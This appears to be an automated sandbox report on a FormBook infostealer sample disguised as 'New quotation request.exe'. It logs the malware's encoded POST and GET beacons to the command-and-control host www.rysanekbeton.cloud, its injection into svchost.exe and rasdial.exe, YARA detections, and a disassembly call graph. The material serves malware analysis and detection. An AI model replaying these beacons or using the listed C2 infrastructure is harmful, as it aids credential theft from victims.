                                                                  Data Ascii: -n=cwFtduB5QPje3BulKeFY0fZpyityOxKnqE5gYmh1YzZ142WyFe0h+QIlUPAR4vhgzTXFNWxyqCjQiFfkJLG0cgCUPIpbVne2cP85JA0dSRh37B9KhOXHyweMDJ5Y+3vLtDALtHx/B2M8JkkC2kNH9LPtj4BPZaY4P+tBx+k3Y9clrl4+gquRR3RTSS9ydopBeg==
                                                                  Dec 5, 2024 14:09:27.362648964 CET292INHTTP/1.1 404 Not Found
                                                                  Server: nginx
                                                                  Date: Thu, 05 Dec 2024 13:09:27 GMT
                                                                  Content-Type: text/html
                                                                  Transfer-Encoding: chunked
                                                                  Connection: close
                                                                  Content-Encoding: gzip
                                                                  Data Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a
                                                                  Data Ascii: 6b(HML),I310Q/Qp/K&T$dCAfAyyyr0.a30


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  26192.168.2.45001881.2.196.19801432C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Dec 5, 2024 14:09:28.739797115 CET767OUTPOST /3g99/ HTTP/1.1
                                                                  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                  Accept-Encoding: gzip, deflate, br
                                                                  Accept-Language: en-US,en;q=0.9
                                                                  Cache-Control: no-cache
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  Connection: close
                                                                  Content-Length: 219
                                                                  Host: www.rysanekbeton.cloud
                                                                  Origin: http://www.rysanekbeton.cloud
                                                                  Referer: http://www.rysanekbeton.cloud/3g99/
                                                                  User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                  Data Raw: 2d 6e 3d 63 77 46 74 64 75 42 35 51 50 6a 65 78 53 6d 6c 47 66 46 59 34 76 5a 75 2b 43 74 79 56 68 4b 37 71 45 31 67 59 6b 51 6f 62 46 70 31 37 58 47 79 45 66 30 68 74 67 49 6c 66 76 41 75 32 50 68 72 7a 54 62 72 4e 55 56 79 71 43 6e 51 69 41 37 6b 4a 36 47 33 64 77 43 57 45 6f 70 5a 59 48 65 32 63 50 38 35 4a 42 52 32 53 52 70 33 37 79 6c 4b 6a 71 6a 59 70 51 65 4c 53 4a 35 59 7a 58 76 50 74 44 41 74 74 47 74 42 42 31 6b 38 4a 6d 38 43 33 78 68 49 30 4c 50 72 75 59 41 62 4b 62 49 79 42 63 4d 61 30 64 6f 78 52 66 73 42 6e 44 31 6b 78 62 50 47 44 33 31 67 50 56 30 47 51 72 55 49 46 68 46 41 51 4d 51 76 38 50 46 4d 76 6f 34 79 33 4b 48 51 7a 62 51 3d
                                                                  Data Ascii: -n=cwFtduB5QPjexSmlGfFY4vZu+CtyVhK7qE1gYkQobFp17XGyEf0htgIlfvAu2PhrzTbrNUVyqCnQiA7kJ6G3dwCWEopZYHe2cP85JBR2SRp37ylKjqjYpQeLSJ5YzXvPtDAttGtBB1k8Jm8C3xhI0LPruYAbKbIyBcMa0doxRfsBnD1kxbPGD31gPV0GQrUIFhFAQMQv8PFMvo4y3KHQzbQ=
                                                                  Dec 5, 2024 14:09:30.018733978 CET292INHTTP/1.1 404 Not Found
                                                                  Server: nginx
                                                                  Date: Thu, 05 Dec 2024 13:09:29 GMT
                                                                  Content-Type: text/html
                                                                  Transfer-Encoding: chunked
                                                                  Connection: close
                                                                  Content-Encoding: gzip
                                                                  Data Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a
                                                                  Data Ascii: 6b(HML),I310Q/Qp/K&T$dCAfAyyyr0.a30


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  27192.168.2.45002581.2.196.19801432C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Dec 5, 2024 14:09:31.474033117 CET10849OUTPOST /3g99/ HTTP/1.1
                                                                  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                  Accept-Encoding: gzip, deflate, br
                                                                  Accept-Language: en-US,en;q=0.9
                                                                  Cache-Control: no-cache
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  Connection: close
                                                                  Content-Length: 10299
                                                                  Host: www.rysanekbeton.cloud
                                                                  Origin: http://www.rysanekbeton.cloud
                                                                  Referer: http://www.rysanekbeton.cloud/3g99/
                                                                  User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                  Data Raw: 2d 6e 3d 63 77 46 74 64 75 42 35 51 50 6a 65 78 53 6d 6c 47 66 46 59 34 76 5a 75 2b 43 74 79 56 68 4b 37 71 45 31 67 59 6b 51 6f 62 46 68 31 37 6e 61 79 46 38 4d 68 75 67 49 6c 44 66 41 72 32 50 68 4d 7a 54 44 6e 4e 55 59 4e 71 45 37 51 6a 69 7a 6b 50 4f 53 33 58 77 43 57 4c 49 70 59 56 6e 65 6a 63 50 73 6c 4a 42 42 32 53 52 70 33 37 31 64 4b 6e 2b 58 59 75 67 65 4d 44 4a 35 55 2b 33 76 6a 74 44 4a 57 74 47 6f 36 47 46 45 38 49 46 45 43 30 44 5a 49 2f 4c 50 70 39 6f 41 54 4b 62 46 6f 42 63 67 57 30 65 30 58 52 63 77 42 6b 58 34 44 6d 36 72 63 59 30 5a 4a 4e 46 77 4d 66 4b 34 32 47 52 42 6c 63 64 63 61 68 4d 78 6d 74 71 5a 4c 70 66 76 34 6f 63 6a 46 75 6d 4e 34 49 30 56 64 36 42 6f 76 34 78 59 2f 41 6c 45 2b 5a 30 35 33 2f 4c 7a 63 62 63 35 2b 45 59 30 65 7a 47 56 74 35 45 6a 33 79 69 79 43 2f 63 70 65 76 46 71 39 4c 42 33 4c 39 65 50 39 6d 78 4b 59 67 2b 54 52 2b 6a 4d 43 69 35 45 66 77 58 32 61 4b 34 66 50 42 52 39 6c 39 33 34 2b 36 58 71 50 6a 65 64 4e 74 58 6e 35 34 76 43 63 72 48 56 62 43 63 75 [TRUNCATED]
                                                                  Data Ascii: -n=cwFtduB5QPjexSmlGfFY4vZu+CtyVhK7qE1gYkQobFh17nayF8MhugIlDfAr2PhMzTDnNUYNqE7QjizkPOS3XwCWLIpYVnejcPslJBB2SRp371dKn+XYugeMDJ5U+3vjtDJWtGo6GFE8IFEC0DZI/LPp9oATKbFoBcgW0e0XRcwBkX4Dm6rcY0ZJNFwMfK42GRBlcdcahMxmtqZLpfv4ocjFumN4I0Vd6Bov4xY/AlE+Z053/Lzcbc5+EY0ezGVt5Ej3yiyC/cpevFq9LB3L9eP9mxKYg+TR+jMCi5EfwX2aK4fPBR9l934+6XqPjedNtXn54vCcrHVbCcur7D1QKKT3Tpo8kVeDz2DvXF+FoedhpZGjfOYBU9+0f+3LYsrtSEoYEj+KazPxgka+S9PpqeEEskEX1y8NS+qE7csIh32Z8rPvpeAcu2rMk+ycpL7SqPHgS19V8VfvZducf2nIaBw/loCM6pGizqCoqXTmgfPgE38FLTCUbmaN1LRaI/Brxz9djPjSMIwTVdwLaNhcqS4cjVmYD44sIay/Q5HummeM9a8SC8j5MqU7HHZTFeKXYrCE2ty0TTKU2h8UhGKV22hiIjuqIS/IY5lmVom9FHL8hHH/IqWuNLBJpxZdnk//LR2R7yd32DfTQ63aI3+DZ+eB813R0D58W08V7oN2giK42EB3qe6x6rohgp9ygF9GhTXM1ryo9RRn9MVeVYBN7o4ggEPZC6P8yo7IRvVgeXwXg1llWDDIc1WT+j0GMNz8/9Nhp4oMmWhvml3SSKTnzposLmdzXXdD1Dvvc0qzpXsS1BI2+9rTyNtKwr6+2CXS6jV7yVonSzdp7icYhjGh95IJY0Utpl1qTbpwWy5BSm5PJUlzOakWuelbVOziGsJJSWYk6/ZaiDIoZ6SDoSlbU+j90g1TYXimlmeoCbzCfBmEg7XOaDTkBjDE+gHPG7/LYqnrNc4ZfvuS3nL5qiVkjTmoG7guMiIOoyKMFcboLKeCwtDRo [TRUNCATED]
                                                                  Dec 5, 2024 14:09:32.751303911 CET292INHTTP/1.1 404 Not Found
                                                                  Server: nginx
                                                                  Date: Thu, 05 Dec 2024 13:09:32 GMT
                                                                  Content-Type: text/html
                                                                  Transfer-Encoding: chunked
                                                                  Connection: close
                                                                  Content-Encoding: gzip
                                                                  Data Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a
                                                                  Data Ascii: 6b(HML),I310Q/Qp/K&T$dCAfAyyyr0.a30


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  28192.168.2.45003181.2.196.19801432C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Dec 5, 2024 14:09:34.187184095 CET469OUTGET /3g99/?-n=RytNeZ1XRv60mT66OsZ14/Z53Dl0UWWckwx6IFoxcwMb7EGpIrhq/2Ikbe8axKxY7FzhI3ANlUXRki/bAaSaeyuYJYNKRROQR84NXiU2Qicm7Q5G8aT8zzM=&e018=ylo8idjP HTTP/1.1
                                                                  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                  Accept-Language: en-US,en;q=0.9
                                                                  Connection: close
                                                                  Host: www.rysanekbeton.cloud
                                                                  User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                  Dec 5, 2024 14:09:35.461704969 CET289INHTTP/1.1 404 Not Found
                                                                  Server: nginx
                                                                  Date: Thu, 05 Dec 2024 13:09:35 GMT
                                                                  Content-Type: text/html
                                                                  Content-Length: 146
                                                                  Connection: close
                                                                  Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                  Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                  Statistics

                                                                  CPU Usage

                                                                  Click to jump to process

                                                                  Memory Usage

                                                                  Click to jump to process

                                                                  High Level Behavior Distribution

                                                                  Click to dive into process behavior distribution

                                                                  Behavior

                                                                  Click to jump to process

                                                                  System Behavior

                                                                  General

                                                                  Target ID:0
                                                                  Start time:08:06:33
                                                                  Start date:05/12/2024
                                                                  Path:C:\Users\user\Desktop\New quotation request.exe
                                                                  Wow64 process (32bit):true
                                                                  Commandline:"C:\Users\user\Desktop\New quotation request.exe"
                                                                  Imagebase:0x2b0000
                                                                  File size:1'211'392 bytes
                                                                  MD5 hash:13D18C730C0B457F937DA32D1948CE80
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Reputation:low
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:1
                                                                  Start time:08:06:34
                                                                  Start date:05/12/2024
                                                                  Path:C:\Windows\SysWOW64\svchost.exe
                                                                  Wow64 process (32bit):true
                                                                  Commandline:"C:\Users\user\Desktop\New quotation request.exe"
                                                                  Imagebase:0x60000
                                                                  File size:46'504 bytes
                                                                  MD5 hash:1ED18311E3DA35942DB37D15FA40CC5B
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Yara matches:
                                                                  • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.1996376325.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                  • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.1996828531.00000000036D0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                  • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.1997265297.0000000003E00000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                  Reputation:high
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:5
                                                                  Start time:08:06:59
                                                                  Start date:05/12/2024
                                                                  Path:C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exe
                                                                  Wow64 process (32bit):true
                                                                  Commandline:"C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exe"
                                                                  Imagebase:0x980000
                                                                  File size:140'800 bytes
                                                                  MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                  Has elevated privileges:false
                                                                  Has administrator privileges:false
                                                                  Programmed in:C, C++ or other language
                                                                  Yara matches:
                                                                  • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.3524534266.0000000002430000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                  Reputation:high
                                                                  Has exited:false

                                                                  General

                                                                  Target ID:6
                                                                  Start time:08:07:00
                                                                  Start date:05/12/2024
                                                                  Path:C:\Windows\SysWOW64\rasdial.exe
                                                                  Wow64 process (32bit):true
                                                                  Commandline:"C:\Windows\SysWOW64\rasdial.exe"
                                                                  Imagebase:0x980000
                                                                  File size:19'456 bytes
                                                                  MD5 hash:A280B0F42A83064C41CFFDC1CD35136E
                                                                  Has elevated privileges:false
                                                                  Has administrator privileges:false
                                                                  Programmed in:C, C++ or other language
                                                                  Yara matches:
                                                                  • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3524342515.0000000003220000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                  • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3523453487.0000000002B50000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                  • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3524429234.0000000004A40000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                  Reputation:moderate
                                                                  Has exited:false

                                                                  General

                                                                  Target ID:7
                                                                  Start time:08:07:13
                                                                  Start date:05/12/2024
                                                                  Path:C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exe
                                                                  Wow64 process (32bit):true
                                                                  Commandline:"C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exe"
                                                                  Imagebase:0x980000
                                                                  File size:140'800 bytes
                                                                  MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                  Has elevated privileges:false
                                                                  Has administrator privileges:false
                                                                  Programmed in:C, C++ or other language
                                                                  Reputation:high
                                                                  Has exited:false

                                                                  General

                                                                  Target ID:8
                                                                  Start time:08:07:26
                                                                  Start date:05/12/2024
                                                                  Path:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:"C:\Program Files\Mozilla Firefox\Firefox.exe"
                                                                  Imagebase:0x7ff6bf500000
                                                                  File size:676'768 bytes
                                                                  MD5 hash:C86B1BE9ED6496FE0E0CBE73F81D8045
                                                                  Has elevated privileges:false
                                                                  Has administrator privileges:false
                                                                  Programmed in:C, C++ or other language
                                                                  Reputation:high
                                                                  Has exited:true

                                                                  Disassembly

                                                                  Reset < >

                                                                    Execution Graph

                                                                    Execution Coverage:3.3%
                                                                    Dynamic/Decrypted Code Coverage:1.3%
                                                                    Signature Coverage:7.9%
                                                                    Total number of Nodes:2000
                                                                    Total number of Limit Nodes:134
                                                                    execution_graph 100389 2f416f 100393 305fe6 100389->100393 100391 2f417a 100392 305fe6 85 API calls 100391->100392 100392->100391 100394 306020 100393->100394 100398 305ff3 100393->100398 100394->100391 100395 306022 100432 2b9328 84 API calls Mailbox 100395->100432 100396 306027 100404 2b9837 100396->100404 100398->100394 100398->100395 100398->100396 100402 30601a 100398->100402 100431 2b95a0 59 API calls _wcsstr 100402->100431 100405 2b984b 100404->100405 100406 2b9851 100404->100406 100422 2b7b2e 100405->100422 100407 2ef5d3 __i64tow 100406->100407 100408 2b9899 100406->100408 100410 2b9857 __itow 100406->100410 100413 2ef4da 100406->100413 100447 2d3698 83 API calls 3 library calls 100408->100447 100433 2d0db6 100410->100433 100415 2d0db6 Mailbox 59 API calls 100413->100415 100417 2ef552 Mailbox _wcscpy 100413->100417 100414 2b9871 100414->100405 100443 2b7de1 100414->100443 100419 2ef51f 100415->100419 100448 2d3698 83 API calls 3 library calls 100417->100448 100418 2d0db6 Mailbox 59 API calls 100420 2ef545 100418->100420 100419->100418 100420->100417 100421 2b7de1 59 API calls 100420->100421 100421->100417 100423 2eec6b 100422->100423 100424 2b7b40 100422->100424 100483 307bdb 59 API calls _memmove 100423->100483 100477 2b7a51 100424->100477 100427 2b7b4c 100427->100394 100428 2eec75 100484 2b8047 100428->100484 100430 2eec7d Mailbox 100431->100394 100432->100396 100435 2d0dbe 100433->100435 100436 2d0dd8 100435->100436 100438 2d0ddc std::exception::exception 100435->100438 100449 2d571c 100435->100449 100466 2d33a1 DecodePointer 100435->100466 100436->100414 100467 2d859b RaiseException 100438->100467 100440 2d0e06 100468 2d84d1 58 API calls _free 100440->100468 100442 2d0e18 100442->100414 100444 2b7df0 __wsetenvp _memmove 100443->100444 100445 2d0db6 Mailbox 59 API calls 100444->100445 100446 2b7e2e 100445->100446 100446->100405 100447->100410 100448->100407 100450 2d5797 100449->100450 100454 2d5728 100449->100454 100475 2d33a1 DecodePointer 100450->100475 100452 2d579d 100476 2d8b28 58 API calls __getptd_noexit 100452->100476 100457 2d5733 100454->100457 100458 2d575b RtlAllocateHeap 100454->100458 100460 2d5783 100454->100460 100464 2d5781 100454->100464 100472 2d33a1 DecodePointer 100454->100472 100456 2d578f 100456->100435 100457->100454 100469 2da16b 58 API calls __NMSG_WRITE 100457->100469 100470 2da1c8 58 API calls 6 library calls 100457->100470 100471 2d309f GetModuleHandleExW GetProcAddress ExitProcess ___crtCorExitProcess 100457->100471 100458->100454 100458->100456 100473 2d8b28 58 API calls __getptd_noexit 100460->100473 100474 2d8b28 58 API calls __getptd_noexit 100464->100474 100466->100435 100467->100440 100468->100442 100469->100457 100470->100457 100472->100454 100473->100464 100474->100456 100475->100452 100476->100456 100478 2b7a5f 100477->100478 100482 2b7a85 _memmove 100477->100482 100479 2d0db6 Mailbox 59 API calls 100478->100479 100478->100482 100480 2b7ad4 100479->100480 100481 2d0db6 Mailbox 59 API calls 100480->100481 100481->100482 100482->100427 100483->100428 100485 2b805a 100484->100485 100486 2b8052 100484->100486 100485->100430 100488 2b7f77 59 API calls 2 library calls 100486->100488 100488->100485 100489 2efdfc 100520 2bab30 Mailbox _memmove 100489->100520 100493 2d0db6 59 API calls Mailbox 100493->100520 100495 2bb525 100580 319e4a 89 API calls 4 library calls 100495->100580 100497 2d0db6 59 API calls Mailbox 100513 2b9f37 Mailbox 100497->100513 100498 2f0055 100579 319e4a 89 API calls 4 library calls 100498->100579 100502 2bb475 100505 2b8047 59 API calls 100502->100505 100503 2f0064 100504 2bb47a 100504->100498 100518 2f09e5 100504->100518 100511 2ba057 100505->100511 100508 2b8047 59 API calls 100508->100513 100510 2b7667 59 API calls 100510->100513 100512 306e8f 59 API calls 100512->100513 100513->100497 100513->100498 100513->100502 100513->100504 100513->100508 100513->100510 100513->100511 100513->100512 100514 2d2d40 67 API calls __cinit 100513->100514 100516 2f09d6 100513->100516 100519 2ba55a 100513->100519 100544 2bc8c0 331 API calls 2 library calls 100513->100544 100545 2bb900 60 API calls Mailbox 100513->100545 100514->100513 100515 2b7de1 59 API calls 100515->100520 100585 319e4a 89 API calls 4 library calls 100516->100585 100586 319e4a 89 API calls 4 library calls 100518->100586 100584 319e4a 89 API calls 4 library calls 100519->100584 100520->100493 100520->100495 100520->100511 100520->100513 100520->100515 100525 2f086a 100520->100525 100527 2f0878 100520->100527 100529 2f085c 100520->100529 100530 2bb21c 100520->100530 100533 306e8f 59 API calls 100520->100533 100535 2bb2b6 100520->100535 100538 32df37 100520->100538 100541 32df23 100520->100541 100546 2b9ea0 100520->100546 100570 2b9c90 59 API calls Mailbox 100520->100570 100574 32c193 85 API calls 2 library calls 100520->100574 100575 32c2e0 96 API calls Mailbox 100520->100575 100576 317956 59 API calls Mailbox 100520->100576 100577 32bc6b 331 API calls Mailbox 100520->100577 100578 30617e 59 API calls Mailbox 100520->100578 100582 2b9c90 59 API calls Mailbox 100525->100582 100583 319e4a 89 API calls 4 library calls 100527->100583 100529->100511 100581 30617e 59 API calls Mailbox 100529->100581 100571 2b9d3c 60 API calls Mailbox 100530->100571 100532 2bb22d 100572 2b9d3c 60 API calls Mailbox 100532->100572 100533->100520 100573 2bf6a3 331 API calls 100535->100573 100587 32cadd 100538->100587 100540 32df47 100540->100520 100542 32cadd 130 API calls 100541->100542 100543 32df33 100542->100543 100543->100520 100544->100513 100545->100513 100547 2b9ebf 100546->100547 100564 2b9eed Mailbox 100546->100564 100548 2d0db6 Mailbox 59 API calls 100547->100548 100548->100564 100549 2bb475 100550 2b8047 59 API calls 100549->100550 100565 2ba057 100550->100565 100551 306e8f 59 API calls 100551->100564 100552 2bb47a 100554 2f0055 100552->100554 100568 2f09e5 100552->100568 100553 2b7667 59 API calls 100553->100564 100730 319e4a 89 API calls 4 library calls 100554->100730 100558 2f0064 100558->100520 100559 2d2d40 67 API calls __cinit 100559->100564 100560 2d0db6 59 API calls Mailbox 100560->100564 100563 2b8047 59 API calls 100563->100564 100564->100549 100564->100551 100564->100552 100564->100553 100564->100554 100564->100559 100564->100560 100564->100563 100564->100565 100566 2f09d6 100564->100566 100569 2ba55a 100564->100569 100728 2bc8c0 331 API calls 2 library calls 100564->100728 100729 2bb900 60 API calls Mailbox 100564->100729 100565->100520 100732 319e4a 89 API calls 4 library calls 100566->100732 100733 319e4a 89 API calls 4 library calls 100568->100733 100731 319e4a 89 API calls 4 library calls 100569->100731 100570->100520 100571->100532 100572->100535 100573->100495 100574->100520 100575->100520 100576->100520 100577->100520 100578->100520 100579->100503 100580->100529 100581->100511 100582->100529 100583->100529 100584->100511 100585->100518 100586->100511 100588 2b9837 84 API calls 100587->100588 100589 32cb1a 100588->100589 100614 32cb61 Mailbox 100589->100614 100625 32d7a5 100589->100625 100591 32cdb9 100592 32cf2e 100591->100592 100596 32cdc7 100591->100596 100675 32d8c8 92 API calls Mailbox 100592->100675 100595 32cf3d 100595->100596 100597 32cf49 100595->100597 100638 32c96e 100596->100638 100597->100614 100598 2b9837 84 API calls 100612 32cbb2 Mailbox 100598->100612 100603 32ce00 100653 2d0c08 100603->100653 100606 32ce33 100660 2b92ce 100606->100660 100607 32ce1a 100659 319e4a 89 API calls 4 library calls 100607->100659 100611 32ce25 GetCurrentProcess TerminateProcess 100611->100606 100612->100591 100612->100598 100612->100614 100657 32fbce 59 API calls 2 library calls 100612->100657 100658 32cfdf 61 API calls 2 library calls 100612->100658 100614->100540 100617 32ce6b 100672 32d649 107 API calls _free 100617->100672 100618 32cfa4 100618->100614 100621 32cfb8 FreeLibrary 100618->100621 100621->100614 100624 32ce7c 100624->100618 100673 2b8d40 59 API calls Mailbox 100624->100673 100674 2b9d3c 60 API calls Mailbox 100624->100674 100676 32d649 107 API calls _free 100624->100676 100677 2b7e4f 100625->100677 100627 32d7c0 CharLowerBuffW 100681 30f167 100627->100681 100634 32d810 100706 2b7d2c 100634->100706 100636 32d81c Mailbox 100637 32d858 Mailbox 100636->100637 100710 32cfdf 61 API calls 2 library calls 100636->100710 100637->100612 100639 32c9de 100638->100639 100640 32c989 100638->100640 100644 32da50 100639->100644 100641 2d0db6 Mailbox 59 API calls 100640->100641 100643 32c9ab 100641->100643 100642 2d0db6 Mailbox 59 API calls 100642->100643 100643->100639 100643->100642 100645 32dc79 Mailbox 100644->100645 100652 32da73 _strcat _wcscpy __wsetenvp 100644->100652 100645->100603 100646 2b9be6 59 API calls 100646->100652 100647 2b9b3c 59 API calls 100647->100652 100648 2b9b98 59 API calls 100648->100652 100649 2d571c 58 API calls __crtLCMapStringA_stat 100649->100652 100650 2b9837 84 API calls 100650->100652 100652->100645 100652->100646 100652->100647 100652->100648 100652->100649 100652->100650 100717 315887 61 API calls 2 library calls 100652->100717 100654 2d0c1d 100653->100654 100655 2d0cb5 VirtualProtect 100654->100655 100656 2d0c83 100654->100656 100655->100656 100656->100606 100656->100607 100657->100612 100658->100612 100659->100611 100661 2b92d6 100660->100661 100662 2d0db6 Mailbox 59 API calls 100661->100662 100663 2b92e4 100662->100663 100664 2b92f0 100663->100664 100718 2b91fc 59 API calls Mailbox 100663->100718 100666 2b9050 100664->100666 100719 2b9160 100666->100719 100668 2b905f 100669 2d0db6 Mailbox 59 API calls 100668->100669 100670 2b90fb 100668->100670 100669->100670 100670->100624 100671 2b8d40 59 API calls Mailbox 100670->100671 100671->100617 100672->100624 100673->100624 100674->100624 100675->100595 100676->100624 100678 2b7e62 100677->100678 100680 2b7e5f _memmove 100677->100680 100679 2d0db6 Mailbox 59 API calls 100678->100679 100679->100680 100680->100627 100683 30f192 __wsetenvp 100681->100683 100682 30f1d1 100682->100636 100688 2b7667 100682->100688 100683->100682 100684 30f278 100683->100684 100685 30f1c7 100683->100685 100684->100682 100712 2b78c4 61 API calls 100684->100712 100685->100682 100711 2b78c4 61 API calls 100685->100711 100689 2d0db6 Mailbox 59 API calls 100688->100689 100690 2b7688 100689->100690 100691 2d0db6 Mailbox 59 API calls 100690->100691 100692 2b7696 100691->100692 100693 2b784b 100692->100693 100694 2b785a 100693->100694 100695 2b78b7 100693->100695 100694->100695 100696 2b7865 100694->100696 100697 2b7d2c 59 API calls 100695->100697 100699 2eeb09 100696->100699 100700 2b7880 100696->100700 100698 2b7888 _memmove 100697->100698 100698->100634 100714 2b8029 100699->100714 100713 2b7f27 59 API calls Mailbox 100700->100713 100703 2eeb13 100704 2d0db6 Mailbox 59 API calls 100703->100704 100705 2eeb33 100704->100705 100707 2b7d3a 100706->100707 100709 2b7d43 _memmove 100706->100709 100708 2b7e4f 59 API calls 100707->100708 100707->100709 100708->100709 100709->100636 100710->100637 100711->100685 100712->100684 100713->100698 100715 2d0db6 Mailbox 59 API calls 100714->100715 100716 2b8033 100715->100716 100716->100703 100717->100652 100718->100664 100720 2b9169 Mailbox 100719->100720 100721 2ef19f 100720->100721 100726 2b9173 100720->100726 100722 2d0db6 Mailbox 59 API calls 100721->100722 100724 2ef1ab 100722->100724 100723 2b917a 100723->100668 100726->100723 100727 2b9c90 59 API calls Mailbox 100726->100727 100727->100726 100728->100564 100729->100564 100730->100558 100731->100565 100732->100568 100733->100565 100734 15bf1b8 100748 15bce08 100734->100748 100736 15bf25e 100751 15bf0a8 100736->100751 100754 15c0288 GetPEB 100748->100754 100750 15bd493 100750->100736 100752 15bf0b1 Sleep 100751->100752 100753 15bf0bf 100752->100753 100755 15c02b2 100754->100755 100755->100750 100756 2b107d 100761 2b708b 100756->100761 100758 2b108c 100792 2d2d40 100758->100792 100762 2b709b __ftell_nolock 100761->100762 100763 2b7667 59 API calls 